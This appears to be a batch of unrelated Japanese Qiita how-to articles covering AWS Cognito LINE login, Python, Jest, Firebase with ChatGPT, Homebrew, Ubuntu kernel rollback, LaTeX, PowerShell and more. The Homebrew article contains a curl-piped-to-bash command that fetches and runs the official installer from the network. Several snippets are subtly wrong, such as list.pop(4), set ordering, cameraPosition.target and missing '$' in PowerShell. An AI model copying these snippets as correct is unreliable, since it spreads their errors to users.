OmniAICreator/Qiita-1.07M huggingface dataset:
LINEのログインURLを作成する(AWS cognitoのOIDC対応時)

# LINEのログインURLを作成する

AWS cognitoのOIDCでLINEの連携は行ったものの、ログインのUIは自前のものを使用したいと考えた。
LINEのログインURLが欲しいが、SDKやAPIを使って取得する方法は見つけられなかったので、cognitoのホストされたUIに表示されているLINEログインURLを確認した。
※SDKやAPIでURLが提供されている場合は教えてください。

## 前提条件
・AWS cognitoとLINEは連携済みであること。[AWS Cognito ユーザープールにLINEサインイン連携を設定する](https://qiita.com/red_picmin/items/ef917ce3368b233ceff1)を参照。

## 結論

下記のような形となる
```
https://{APP_CLIENT_DOMAIN}.auth.ap-northeast-1.amazoncognito.com/oauth2/authorize?identity_provider={PROVIDER_NAME}&redirect_uri={CALLBACK_URL}&response_type=CODE&client_id={APP_CLIENT_ID}&scope=aws.cognito.signin.user.admin%20email%20openid%20profile
```

APP_CLIENT_DOMAIN：cognitoのユーザープールのアプリケーション統合で設定したドメイン名
PROVIDER_NAME：cognitoのユーザープールのサインインエクスペリエンスのフェデレ―テッドアイデンティティプロバイダーで設定したIDプロバイダー名
CALLBACK_URL：cognitoのユーザープールのアプリケーションに設定したホストされたUIに設定した許可されているコールバックURL
APP_CLIENT_ID：cognitoのユーザープールのアプリケーションのクライアントID
※カスタムドメインの場合、一部修正が必要かもしれません。

# 以下詳細

## URLを確認する

ホストされたUIを確認する
![cognitoのホストされたUI.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/269296/a40171e9-4cb3-2c72-bfe0-0de5ca64203b.png)

aタグでリンクとなっているのでURLを確認する
![cognitoホストされたUIのLINE部分.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/269296/2a90b634-df5e-d359-4daa-5241026d9f96.png)

## lambdaで実装

```
import json
import os
import uuid
import boto3

# LINEログインのコールバックURL
CALLBACK_URL = os.environ.get('LINE_CALLBACK_URL')
# cognitoのアプリケーションのクライアントID
APP_CLIENT_ID = os.environ.get('CLIENT_ID')
# cognitoのアプリケーションのドメイン名
APP_CLIENT_DOMAIN = os.environ.get('CLIENT_DOMAIN')

# ユーザーがログインするためのURLを生成する
def generate_login_url(state):
    login_url = f"https://{APP_CLIENT_DOMAIN}.auth.ap-northeast-1.amazoncognito.com/oauth2/authorize?identity_provider=LINE&redirect_uri={CALLBACK_URL}&response_type=CODE&client_id={APP_CLIENT_ID}&scope=aws.cognito.signin.user.admin%20email%20openid%20profile"
    return login_url

# Lambda関数のエントリーポイント
def lambda_handler(event, context):
    state = str(uuid.uuid4()) # 任意の文字列を指定
    login_url = generate_login_url(state)
    
    return {
        "statusCode": 200,
        "body": json.dumps({
            "login_url": login_url,
        }),
    }
```

## 作成したURLにアクセスする

作成したURLにアクセスすると下記のような画面となる。
![LINEログイン画面.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/269296/a2823d6d-9af3-b5cd-bd1a-af34cd4d5768.png)

ログイン後は設定したコールバック関数が呼ばれる。

## まとめ
ログインURLはstatusを固定値にしてしまえばURLが変わることはないためサーバーから返さなくても画面に固定値で埋め込むことは出来るかもしれない。
(statusは固定値でいいのか、nonceを設定した方がいいのかなど考慮する必要はある)
サーバーはREST APIで構築しようとして考えたため、そもそもログイン後のセッションなどはどうなるのかいまいちわかっていない。
これから試していきます。
SeleniumでXpathを複数候補がある場合について

# 何があったか
とあるサイトをスクレイピングしている際に若干Xpathが変わることがありました。
その際、例外処理で対応したので備忘録になります。

# 実際のコード
```python
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.common.exceptions import NoSuchElementException

driver_path = "./chromedriver.exe"
chrome_service = service.Service(executable_path=driver_path)
driver = webdriver.Chrome(service=chrome_service)

xpath_list = []  # Xpathのリスト
for xpath in xpath_list:
    try:
        driver.find_element(by=By.XPATH, value=xpath).click()
        break
    except NoSuchElementException:
        pass
```

# 工夫点
Xpathの候補を事前に入れておくことによって、候補の数を自動で試す。
→候補が単体でも使用可能なので、関数化することによりコード全体をスッキリさせることも可能かと思います！
【Python】「リスト型」「タプル型」「集合型(set)」の違いをまとめてみた

## はじめに

「リスト型」「タプル型」「集合型」のデータ形式が似ているので、「どれがどんな形式だったっけ?」と迷うことが多いです。
自分の頭を整理するために、それぞれの違いを見比べてみました。

## それぞれの基本形を見比べてみる

```py
#リスト型
list_int = [1, 2, 3]
list_str = ['a', 'b', 'c']

#タプル型
tuple = (1, 2, 3)

#集合型(set)
set_int = {1, 2, 3, 1, 2, 3} #集合型は要素を重複させないので、{1, 2, 3} 
set_str = {'a', 'b', 'c','a', 'b', 'c'} #集合型は要素を重複させないので、{'a', 'b', 'c'}  
```

## 追加方法を見比べてみる

```py
#リスト型
list_int.append(4) #末尾に'4'を追加
list_str.insert(3, 'd') #4番目に'd'を追加

#タプル型は、追加できません

#集合型(set)
set_int.add(4) #末尾に'4'を追加
set_str.add('d') #末尾に'd'を追加
```

## 削除方法を見比べてみる

```py
#リスト型
list_int.pop(4) #'4'を指定して削除
list_str.pop() #末尾の要素を削除
list_str.clear() #全削除

#タプル型は、削除できません

#集合型(set)
set_int.remove(4) #'4'を指定して削除
set_str.discard('d') #存在しない要素を指定してもエラーにならない
set_str.clear() #全削除
```

## まとめ
まずは、シンプルに違いを見比べてみました。
今度は、それぞれの利用シーンなども比べてみたいと思います。
WBSについてまとめてみた

# はじめに
こんにちは、まさやんです。

■運営サービス一部
https://smart-wordpress.com
業界特化、スマートなWordPressテーマ販売サイト『SMART WP』

タスクの方法についてどうするか迷うことがあったので、WBSについてまとめてみました。

# WBSとは
WBSは、Work Breakdown Structureの頭文字で「作業分解構成図」。
作業（Work）を分解（Breakdown）して構造化（Structure）するプロジェクトの管理手法。

プロジェクトに必要なタスクを洗い出し、それらを層分けしツリー構造に列挙することで、タスク同士の関係性やタスク処理にかかるリソースの把握する。

# WBSの作り方
1. タスクの洗い出しと分解
プロジェクトに必要なタスクをあげていく。それをさらに細かいタスクに分けていく。
タスク一つひとつの所要時間がわかるまで分解していく。

2. タスクの順序設定
タスク間の関係性を見極めながら、順序を決めていく。

3. タスクの構造化
同じレベルのタスクをまとめて、タスクを階層化させていく。
構造化することで、タスクの抜け漏れを防ぐことができる。

4. 担当者と期日を割り当て
担当者、期日を割り当てる。割り当てた人とタスク担当者との間に工数見積もりのギャップが生まれないよう確認・合意をとる。

# 作成時の注意点
- 作業を明確にする
不明確なタスクは、作業が混乱するのでできるだけ作らないようにする。どうしても曖昧なタスクができてしまった場合は、プロジェクトを進めていく中で分解する。
- 工数はできるだけ正確に見積もる
次の担当者が作業を開始できない場合もあるので、タスクの所要時間は必要最低限に抑える。
バッファは各タスクではなく、プロジェクト全体に持たせ、WBSとは別で管理する。

# 参考
https://www.jooto.com/contents/wbs/
Amazon Athenaとは何か？

こいつに入門します。

https://aws.amazon.com/jp/athena/

シンプルなサービスのため今回の記事も簡素です。


# 一言でいうと？
S3のデータをSQLで検索できるマネージドサービスです。
- 分散型SQLクエリエンジンのOSS「Presto」がベース
- CSV、JSONをはじめ様々なフォーマットのデータソースに対応

※また最近、Pythonを使ってSparkによるデータ分析も行えるようになりました。


# 主な機能
### クエリエディタ
Athenaのメイン機能。データソースに対してSQLを記述して実行できます。
クエリを保存して再利用したり、実行履歴から再度実行することもできます。
![スクリーン ショット 2023-04-08 に 21.02.15 午後.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1633856/35fdb62b-d8fe-2ae6-2cc2-d4a26568d068.png)

データソースにはS3やDynamoDBをはじめ、様々なAWSサービスから選べます。
S3の場合はAWS GlueのデータカタログやApache Hiveなど複数の形式が利用できます。

### ノートブックエディタ
Re:Invent 2022で発表された新機能。
いわゆるノートブック形式でApache Sparkのコーディングおよびアプリケーション実行ができます。


# その他の便利機能
### ワークグループ
ユーザーごとにAthenaの利用状況を分けて管理したり、利用制限を行うことができます。


# 料金
スキャンしたデータ量に応じて課金されます。

https://aws.amazon.com/jp/athena/pricing/


# ハンズオン
なぜか部分的に翻訳前の原文が残っていたりしますがご愛嬌。

https://catalog.us-east-1.prod.workshops.aws/workshops/9981f1a1-abdc-49b5-8387-cb01d238bb78/ja-JP

結構古いですがこちらは完全な日本語版です。

https://www.slideshare.net/AmazonWebServicesJapan/amazon-athena-81216877
Jestについて

## Jestとは
Facebook製のJavaScriptテストプラットフォームです。

#### 特徴
・**ブラウザの起動が無いので軽快に動く**。実ブラウザ上ではなく、JSDOMのエミュレーション環境でテストが実行される。※エミュレーション環境とは、OSなどと同じようにそのまま動作する、別環境

・テスト実行進捗がプログレスバーで表示され、Failしたテストを閲覧しやすい
・並列実行が可能であり、ファイルを変更するたびに自動的にテストを実行するオプションがある。

・設定が簡単で、アサーションライブラリとテストランナーが含まれているため、別途ライブラリをインストールする必要がない。


※アサーションは、真であることが期待される条件をチェックするための手法です。
※アサーションライブラリは、テストコードの中でアサーションを記述し、テストランナーに渡すことができます。
※テストランナーは、コードが期待通りに振る舞うかどうかをテストし、パスしたかどうかを報告します。

## インストール
```:npm
$ npm i --save-dev jest

// tsの場合
$ npm i --save-dev jest ts-jest @types/jest
```

## 初期化
`jest.config.js`が生成され、jestに対してts-jestをpresetとして使用するように設定されます。
```:npm
$ npx ts-jest config:init
```

```js:jset.config.js
module.exports = {
  preset: 'ts-jest',
  testEnvironment: 'node',
};
```

なお、`package.json`に`npm test`を追加するとコマンドでテストが実行できるようになります。
```json:package.json
 "scripts": {
    "test": "jest",
  }
```

## 設定ファイル
`jest.config.js`をプロジェクト直下に作成(package.jsonでも可)
```javascript:jest.config.js
module.exports = {
  "roots": [
    "./src"
  ],
  "transform": {
    "^.+\\.tsx?$": "ts-jest"
  },
  "testRegex": "(/__tests__/.*|(\\.|/)(test|spec))\\.tsx?$",
  "moduleFileExtensions": [
    "ts",
    "tsx",
    "js",
  ],
  moduleNameMapper: {
    '\\.(css)$': '<rootDir>/src/__tests__/styleMock.js',
  },
}
```
#### transform
テストファイルを実行する前に、ts-jestを使ってTypeScriptをJavaScriptに変換します
。`^.+\\.tsx?$`はTypeScriptの拡張子で、`testRegex`オプションで使用されます。

`^` : 行の先頭
`.+` : 1つ以上の任意の文字列
`\\.` : `.`
`$` : 行の末尾

つまり、このパターンは **.ts または .tsx 拡張子を持つ、ファイル名の先頭から末尾までの文字列**を表します。Jestは、このパターンに一致するファイルをテストファイルとして認識し、テスト実行の対象にします。

#### testRegex
Jestがテストファイルを検索する正規表現です。この場合、`/__tests__/`ディレクトリ内の`.tsx`または`.ts`、`test`または`spec`という単語を含む`.tsx`あるいは`.ts`ファイルが対象となります。

#### moduleFileExtensions
Jestが解釈するファイルの拡張子を指定します。

#### moduleNameMapper
Jestがモックするモジュールの指定です。この場合、CSSファイルを指定しています。この設定により、CSSファイルがモックされ、テスト実行時にエラーが発生するのを防ぎます。

※オブジェクトや関数を置き換え、テスト時に必要な振る舞いを再現するためのオブジェクト。なお、モックデータは、実際のデータに似せた形式で作成されたデータのことで、テスト時に必要なデータを用意できる。

## テストコードの実装
公式を元に...
https://jestjs.io/ja/docs/getting-started

```js:sum.js
function sum(a, b) {
  return a + b;
}
module.exports = sum;
```
`/__tests__/` 内にテストファイルを作成。

```js:sum.test.js
const sum = require('./sum');

test('adds 1 + 2 to equal 3', () => {
  expect(sum(1, 2)).toBe(3);
});
```
### テストを実行
```:npm
$ npm test
```

## 最後に
モック関数やMatcherについては使用しながら学びつつ、後日記事にまとめようと思います。
【Android】cameraPosition【kotlin】

# はじめに
今回は **cameraPosition**を使う機会があったので、それについて記事にします

# cameraPosition
**cameraPosition**とは　GoogleMap使用時に使われるもので
公式では
>位置、ズーム レベル、傾斜角、方位など、すべてのカメラ位置パラメーターを集約する不変クラス

とあります。
それぞれ使い方などを記載していきます。

    private lateinit var googleMap: GoogleMap

まずはgoogleMapをアプリ内で使用できるようにインスタンス化します。
あとは以下の要素を使うだけです。

|要素|意味|
|:---|:---|
|bearing|カメラが向いている方向（方角）|
|target|カメラが指している場所|
|tilt|地面からのカメラ角度|
|zoom|画面中央付近のズームレベル|


    println(googleMap.cameraPosition.target)

とするとカメラの向いている方角を知ることができます。


# 参考

https://developers.google.com/android/reference/com/google/android/gms/maps/model/CameraPosition
ChatGPT (API) を Firebase Functions で使う（雑）

2023年4月現在の情報です。時間が経過していると、functions / openai とも仕様が大きく変わっている可能性があります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/266247/44d3f009-badc-fee5-7fcc-202d6a2db1bb.png)

# 前提

下記は Firebase Functions の使い方が分かっていて、有料（Blazeプラン）プロジェクト作成済みかつ、OpenAI のアカウント作成済みかつ APIKey 取得済みの前提です。

# 結論

下記で動きました。

```index.js
const functions = require("firebase-functions");
const openai = require("openai");

exports.addMessage = functions.https.onCall(async (data, response) => {

  const text = data.text;
  const key = functions.config().openai.apikey;
  const organization = functions.config().openai.organizationID;
  const configuration = new openai.Configuration({
    organization: organization,
    apiKey: key,
  });
  const ai = new openai.OpenAIApi(configuration);

  return new Promise((resolve, reject) => {
    ai.createChatCompletion({
      model: "gpt-3.5-turbo", // 適切に変更する
      messages: [
        {
          role: "user", 
          //content: "Give me the number of countries in the world."
          content: text
        }
      ],
    }).then( (completion) => {
      console.log(completion.data.choices[0].message);
      resolve({
        text: completion.data.choices[0].message,
      });
    }).catch( (e) => {
      console.log( "error", e );
      reject({
        text: "error",
      });
    });
  });
});
```

呼び出し側（Webアプリ側）のコードは下記のような感じです。

```app.js
import { 
  getFunctions,
  httpsCallable
} from '@firebase/functions';

const clickTest = () => {
  const functions = getFunctions();
  const addMessage = httpsCallable(functions, 'addMessage');

  addMessage({ text: "世界の国の数はいくつですか" })
    .then((result) => {
      const data = result.data;
      console.log( data.text.content); // 結果を表示 
    }).catch((e) => {
      console.log( e );
    });
}
```

## モジュールのインストール

`functions` フォルダ以下で下記を実行します。

```bash
$ yarn add openai
# または
$ npm i openai
```

## 環境変数の設定

`functions.config()` で取得する環境変数（organizationID と apiKey）をあらかじめ設定する必要があります。

```bash
$ firebase functions:config:set openai.apikey="sk.xxxxxxxxxxxxxxxxxxxx"
$ firebase functions:config:set openai.organizationID="org-xxxxxxxxxxxxxxxxx"
```

APIキーと OrganizationID は下記で取得します（要ログイン、要クレジットカードの登録）

- [API keys](https://platform.openai.com/account/api-keys)
- [Organization settings](https://platform.openai.com/account/org-settings)

## エミュレータ用に環境変数を書き出す

下記コマンドで書き出します。これをしないと、エミュレータや `firebase serve` などで環境変数が読み込まれません。

なお、コード管理に github 等を使うときは `.gitignore` に下記ファイルを必ず登録すること！

```bash
$ firebase functions:config:get > functions/.runtimeconfig.json
```

## firebase (cloud) 側への登録

deploy することで環境変数をオンライン側に反映できます。

```bash
$ firebase deploy --only functions`
```

# 注意点

Firebase Functions も OpenAI の APIKey を使ったリクエストも、どっちも従量課金なのでいろいろと注意が必要です。
expressのミドルウェアとルートハンドラ

# ミドルウェアとルートハンドラ
expressにはミドルウェアとルートハンドラというものがある。

ルートハンドラとは下図のget,postなどに紐づく関数のこと。

function(){}のこと。（レスポンスを返すメイン処理。）

![Untitleda.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2082391/04496c40-4cc8-befc-74a1-2ba799e6d7d1.png)


対してミドルウェアとはルートハンドラの前後に行われる処理。

基本はuseを使い、その中でミドルウェアに当たるfunctionを定義する。

例えば下図だったら、”/”に対してpostやgetが送られてきたら

postやgetの処理に行く前、後に行う処理を書く。（データの処理。jsonとか）

![Untitleds.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2082391/170dafcd-103e-2b6e-55a1-a11dd66d7acb.png)



流れは

request→middleware→route handler

ミドルウェアは第三引数にnextというのがあり、次のミドルウェアを指定できる。

ルートハンドラにもnextを定義できる。

(nextで例外処理を呼び出したりする。)

nextを呼ばないと次の処理に行かない。

例えば下図は”/”に対してget処理を投げたときコンソールログを出す処理。

**上から順番に処理される**ので

最初のミドルウェアでコンソールにmiddle oneが記述され

ミドルウェアにnextがあるので次のmiddle twoが処理。

(nextがない場合、middle oneで終わる。handdler処理もされない。)

次のミドルウェアにもnextがあるのでget処理の場合getのhanddlerが実行される。

ルートハンドラ内にはnextを記述していないので以降の処理はされない。

![Untitled.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2082391/f6e4cee3-6c31-3dcf-7a15-5f2780612c7a.png)


ミドルウェアとルートハンドラで挙動は変わらないが、処理するタイミングと

役割が異なる。

getとuseはパス指定や関数を呼び出すところは同じだが

違いとしてパスの判別が異なる。

useは前方一致。getは完全一致。
ChatGPTトークンを計算するための2つのGoパッケージ（CJK文字のサポート）

OpenAIのChatGPTは素晴らしいですが、次の2つの問題に直面しています。

1. ChatGPTから素晴らしいものを取得するには（特にGPT-4モデルの場合）、私たちのトークン消費に応じてお金がかかります。
2. すべてのAPI（埋め込み、チャット、補完など）のプロンプトトークンに制限があります。

そのため、OpenAIにリクエストを送信する前にトークン数を計算することは重要です。

しばらく探し回っていましたが、日本語をよくサポートしているGoパッケージはほとんどないことがわかりました。最終的に、2つのパッケージを見つけました。

## 1. tiktoken-go

`tiktoken-go`は、OpenAIの元々の[tiktoken](https://github.com/openai/tiktoken)のGolang実装です。

リポジ：https://github.com/pkoukk/tiktoken-go

こちらが使用するためのコードスニペットです。

```golang
package main  

import (
	"fmt"
	"github.com/pkoukk/tiktoken-go"
)

func main() {
	text := "こんにちは！世界！"
	encoding := "davinci"
	tke, err := tiktoken.EncodingForModel(encoding)
	if err != nil {
		err = fmt.Errorf("getEncoding: %v", err)
		return
	}
	token := tke.Encode(text, nil, nil)
	fmt.Println("tiktoken: ", len(token)) // 出力: 16
	return
}
```

## 2. tokenizer-go

tokenizer-goは、npmパッケージをラッピングし、JavaScript呼び出しを通じて結果を抽出する前の実装です。

リポジトリ：https://github.com/pandodao/tokenizer-go

こちらが使用するためのコードスニペットです。

```golang
package main  

import (
	"fmt"
	"github.com/pandodao/tokenizer-go"
)

func main() {
	text := "こんにちは！世界！"
	t := tokenizer.MustCalToken(text)
	fmt.Println("tokenizer: ", t) // 出力: 16
	return
}
```

## 結論

`tiktoken-go`と`tokenizer-go`は、OpenAIリクエストで日本語テキストのトークン数を計算するための良いオプションです。`tiktoken-go`は、OpenAIの元々のtiktokenのGolang実装であり、`tokenizer-go`はnpmパッケージをラッピングしてJavaScript呼び出しを通じて結果を抽出しています。

OpenAIの制限を超過して余分なコストが発生するのを避るために、リクエストを送信する前にトークン数を計算することが重要です。この投稿が役立つことを願っています。
【Homebrew】インストールしてるのにbrewが見つからない

# はじめに

# 間違った手順
Homebrewをインストールします
```:ターミナル
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```

Homebrewのパスを通します
```:ターミナル
export PATH="$PATH:/opt/homebrew/bin"
```

実行できました
```:ターミナル
brew -v

→ Homebrew 4.0.11
```

しかし、ターミナルを再起動すると。。。
```:ターミナル
brew -v

→ zsh: command not found: brew
```

# 正しい手順
Homebrewをインストールします
```:ターミナル
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```

`.zprofile`を作成します
```:ターミナル
touch .zprofile
```

`.zprofile`を開きます
```:ターミナル
open .zprofile
```

`.zprofile`に以下をコピペします
```.zprofile
eval "$(/opt/homebrew/bin/brew shellenv)"
```

`.zprofile`を読み込みます
```:ターミナル
source ~/.zprofile
```

実行できました
```:ターミナル
brew -v

→ Homebrew 4.0.11
```

ターミナルを再起動してもパスが通ってる！！
```:ターミナル
brew -v

→ Homebrew 4.0.11
```

# おわり
Homebrewでインストールするものは多いのできちんと設定しておきたいです。
if文とswitch文の使い方 (JavaScript)

# if文とswitch文とは

JavaScriptにおいて、if文とswitch文は両方とも条件分岐を実現するために使用されますが、異なる使用方法と特徴があります。

## **if文の使用方法**

if文は、条件に応じて実行するコードを変更するために使用されます。if文の構文は以下の通りです。

```javascript

if (condition) {
  // conditionがtrueの場合に実行されるコード
} else {
  // conditionがfalseの場合に実行されるコード
}

```

例えば、変数xが10よりも大きい場合に"greater than 10"を、10未満の場合に"less than 10"を表示するには、次のように書きます。

```javascript
let x = 15;
if (x > 10) {
  console.log("greater than 10");
} else {
  console.log("less than 10");
}

```

## **switch文の使用方法**

switch文は、複数の条件に応じて実行するコードを変更するために使用されます。switch文の構文は以下の通りです。

```javascript

switch (expression) {
  case value1:
    // value1に対するコード
    break;
  case value2:
    // value2に対するコード
    break;
  default:
    // 上記のいずれの値にも一致しない場合に実行されるコード
}

```

例えば、変数dayが平日である場合に"work"を、休日である場合に"rest"を表示するには、次のように書きます。

```javascript

let day = "Saturday";
switch (day) {
  case "Monday":
  case "Tuesday":
  case "Wednesday":
  case "Thursday":
  case "Friday":
    console.log("work");
    break;
  case "Saturday":
  case "Sunday":
    console.log("rest");
    break;
  default:
    console.log("invalid day");
}

```

注意すべき点として、switch文は一致する条件に到達するまで条件をチェックするため、必ずbreak文を使用する必要があります。また、switch文では複数の条件を一度にチェックすることができるため、if文よりも効率的な場合があります。

# 使い分けについて

if文とswitch文は、両方とも条件分岐を実現するために使用されますが、使い分けにはいくつかのポイントがあります。

### **条件の数**

条件が少ない場合は、if文を使用することが一般的です。条件が2つの場合や3つの場合など、条件が少ない場合は、if文を使用することが簡単で分かりやすい方法です。

一方、条件が多い場合は、switch文を使用することが一般的です。条件が5つ以上ある場合や、文字列の比較をする場合など、条件が多い場合は、switch文を使用することで、コードを簡潔に保ち、読みやすくすることができます。

### **条件の種類**

条件が単純な場合は、if文を使用することが一般的です。条件が単純な場合、例えば変数がある値より大きいかどうかをチェックする場合など、if文を使用することがシンプルで効率的です。

一方、条件が複雑で、複数の値を比較する場合は、switch文を使用することが一般的です。switch文を使用することで、複雑な条件を簡単にチェックすることができます。

### **コードの可読性**

コードの可読性を向上させるために、if文とswitch文を適切に使い分ける必要があります。条件が少なくシンプルな場合に、switch文を使い分けるとコードが複雑になり、可読性が低下する可能性があります。同様に、条件が多い場合にif文を使い分けると、コードが冗長になり、可読性が低下する可能性があります。

以上のポイントを考慮して、適切な条件分岐の方法を選択することが大切です。
Ubuntu22 起動後１０秒程で固まる現象の改善備忘録

# 現象

Ubuntu22を起動後１０秒程経過するとフリーズする。rebootコマンドなどによる再起動も受け付けてくれなくなる。
CUIで起動してみると、下記メッセージが定期的に表示されはじめるとフリーズし始めるようだ。
CUIの場合幸いのことに下記メッセージが表示されはじめてもフリーズしないため対処することができたので備忘録を残す。

```
rcu: INFO: rcu_preempt detected expedited stalls   .....
```

## 環境

OS : Ubuntu22.0.4 LTS
kernel : 5.19.0-32-generic |  5.19.0.38-generic


## 対処

下記手順で単純にGRUB_DEFAULTのカーネルを戻すだけ。原因はカーネル5.19.0-32(5.19.0-38でも現象確認済)のバグらしい。

① デスクトップマネージャのログイン画面からCTRL+ALT+F2を実行し、CUIでログインする。


② grubのカーネルエントリで過去バージョンを確認する。

```
$ grep -E '(menuentry|submenu) ' /boot/grub/grub.cfg
```

③ デフォルトで起動するカーネルを変更する。

```
$ sudo vim /etc/default/grub
GRUB_DEFAULT=0
を下記のように過去バージョンのものに書き換える
GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 5.15.0-50-generic"
```

④ 変更を反映する。

```
$ sudo update-grub
$ sudo grub-mkconfig -o /boot/grub/grub.cfg
```

⑤ 再起動する。このときrebootコマンドが使えないため下記手順で再起動する。

    ALT + PrintScreen + R
    ALT + PrintScreen + S
    ALT + PrintScreen + E
    ALT + PrintScreen + I
    ALT + PrintScreen + U
    ALT + PrintScreen + B


⑥ 通常ログイン後、uname -rで指定したカーネルに戻せていれば多分現象は改善している。改善が見られない場合は他のカーネルバージョンを試す。
【Network】Packet TracerでL2スイッチの動作検証

# L2スイッチとは
`MACアドレス`を基に通信を中継する機器です。
`OSI参照モデル`のレイヤ2(データリンク層)までを扱う事が出来ます。

# MACアドレスとは
NICに割り当てられた物理アドレスです。
同ネットワーク内の通信で利用されます。

# Packet Tracerを使用して、実際に検証
目的は同ネットワークの通信を中継する事とし、下記構成で検証します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2710307/7b4a0d9e-a1f8-551f-5c9e-536597fc4730.png)

L2スイッチは、`MACアドレステーブル`を基に通信の中継を行っています。
ただし、`MACアドレステーブル`に相手側の`MACアドレス`が記載されていない場合は、全ポート(受信したポート以外)からデータを送信します。
これを、`フラッディング`と呼びます。

現在のL2スイッチが保持している`MACアドレステーブル`は、下記のように`MACアドレス`の情報を何も保持していない状態です。

```:MACアドレステーブル
Switch#show mac address-table 
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----
```

上記の状態で、`192.168.0.1/24`から`192.168.0.2/24`にpingを飛ばしてみます。
初回は全ポートから送信している事を確認出来ます。2回目は`192.168.0.2/24`に送信しています。

![network.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2710307/0dd17f3b-34dd-1387-9487-3a32f256609d.gif)

上記の通信を終えた後に、`MACアドレステーブル`に送信元/送信先の情報が反映されている事を確認しました。

```
Switch#show mac address-table 
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----

   1    0000.5e00.5300    DYNAMIC     Fa0/2
   1    0000.5e00.5301    DYNAMIC     Fa0/1
```

実際にスイッチ触る機会ない為、いい勉強になりました。
簡単な検証ではありますが、これで終了です。
案外使用頻度が多いタイプの(La)TeXスニペット集

使用頻度が稀とは言えない程度にはあるため、論文書く時のマクロに最初から書いてしまっているタイプのコマンドなどをメモがてら共有します。

# テキスト
## 改行しないハイフン (nobreakdash)
ハイフン`-`は英語で複合語（a 20-year-old manのような感じで）を作る際の接続や、長い単語で行をまたいでしまった際の分割で使われる記号です。なので高級な文書ソフトの一般的な動作として、ハイフンの直後は改行してよい場所という扱いになります。

一方、例えば「2-category」(2-圏) のハイフン直後で改行されたりすると可読性に影響が出る気がします。こういう場所ではあんまり改行してほしくないですね。さらに圏と2-圏をまとめて何かものを言っていた際に「(2-)category」なんて書いていて改行されてしまった場合、閉じ括弧で行が始まることになって目も当てられません。

これを回避するためのコマンドが`\nobreakdash`です。長いので私は糖衣マクロを導入しています。
```tex
\let\nbdsh\nobreakdash

%% 使用方法
2\nobreakdash-category

2\nbdsh-category
```

## ローマ数字 (romannumeral)
論文や書籍の節番号になんとローマ数字が採用されているなどして、ローマ数字を打ちたい！という事態に陥ることがあります。個人的な例でいうと[CWM](https://www.maruzen-publishing.co.jp/item/?book_no=294317)の章番号はローマ数字なので、引用する際に必要になったりします。

TeXには`\romannumeral`というコマンドがあります。この後に続く数字のトークンをローマ数字の小文字に変更します。
```tex
\romannumeral2    % --> ii
\romannumeral5    % --> v
\romannumeral{24} % --> xxiv
```

**大文字用のコマンドはありません**。なんでや。そこで用意したマクロがこちらです。

```latex
\newcommand*{\Romannumeral}[1]{\uppercase\expandafter{\romannumeral#1}}
```

LaTeX用にnewcommandを使用していますがそこは本質的ではないので勘弁してください。

## Unicode文字の挿入 (newunicodechar)
LaTeXは独自のエンコードを採用しているため、T1エンコードにしておけば主要なヨーロッパの言語の特殊文字（çとかëとかĳとかŁとか）は対応しているのですが、ごく稀に対応できない文字に出くわすことがあります。本文中よりも特にbibファイルの中でそんな文字を処理させる時が面倒なことになりがちです（これは私がbiberで処理しているせいかもしれませんが）。

特定のunicode文字だけなんとかなればいい場合に、[newunicodechar](https://ctan.org/pkg/newunicodechar)でなんとかする方法があります。
```latex
\usepackage{newunicodechar}
\newunicodechar{ō}{\=o}
\newunicodechar{ř}{\v{r}}
```
自分の名前をヘボン式ローマ字で書きたい人もこれで安心ですね。

## ピリオドと空白
英語で論文を書いていると、「i.e.」「e.g.」「et al.」などの略語をしばしば使います。しかし、TeXくんは単語の意味とか見ていないため、語末のピリオドを見て文末だと勘違いしてしまい、多めにスペースを打ちやがります。

対処法は直後のスペースを`\ `にすることです。

```tex
Ann Author et al. stated (something like that).  % <-- 2文扱い(は？)

Ann Author et al.\ stated (something like that). % <-- 本当に求めていたもの
```

(07/05追記) マクロ化してみました。直後のトークンが空白・スペースかそれ以外かで処理が分岐するようにしてあります。
```tex
\def\eg#1{\if#1\  e.g.\ \else\if#1\@empty e.g.\ \else e.g.#1\fi\fi}
```

逆に、大文字の後のピリオドは省略扱いになってスペースが狭まるため、強制文末指定をする必要があります。これはピリオドの前に`\@`を挿入することで行えます。
```tex
You need to do NOTHING. Sit down and stay there.   % <-- なぜか1文扱い

You need to do NOTHING\@. Sit down and stay there. % <-- これでよし
```

# 数式
## \circの演算子化
関数の結合に使う`\circ` ◦ ですが、デフォルトでは関係演算子扱いなので、スペーシングがバグる可能性があります。分野にもよりますが圏論をやっていると圧倒的に二項演算子として使用するため、怒りのオーバーライドをぶちかましておきます。

```latex
\let\circmark\circ
\renewcommand{\circ}{\mathbin{\circmark}}
```

# et cetra...

書くことがあったら追加します。
Powershellでクライアント認証が必要なWebサイトへアクセスする(pfx証明書)

# やり方

## Windowsにインストールされている証明書を使う場合
PCに保存されている証明書の一覧を表示
```PowerShell:PowerShell
Get-ChildItem -path cert:\CurrentUser -Recurse
```
↑の実行結果から、使用したい証明書のThumbPrintをコピー


先ほどコピーしたThumbPrintをxxxxxxxxの部分に貼り付けて実行
```PowerShell:PowerShell
Invoke-WebRequest https://example.com -CertificateThumbprint "xxxxxxxx"
```

## フォルダに保存している証明書を利用する場合

```PowerShell:PowerShell
pfx = [System.IO.File]::ReadAllBytes('pfxファイルのパス')
cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($pfx, 'pfxファイルのパスワード')
Invoke-WebRequest https://example.com -Certificate $cert
```
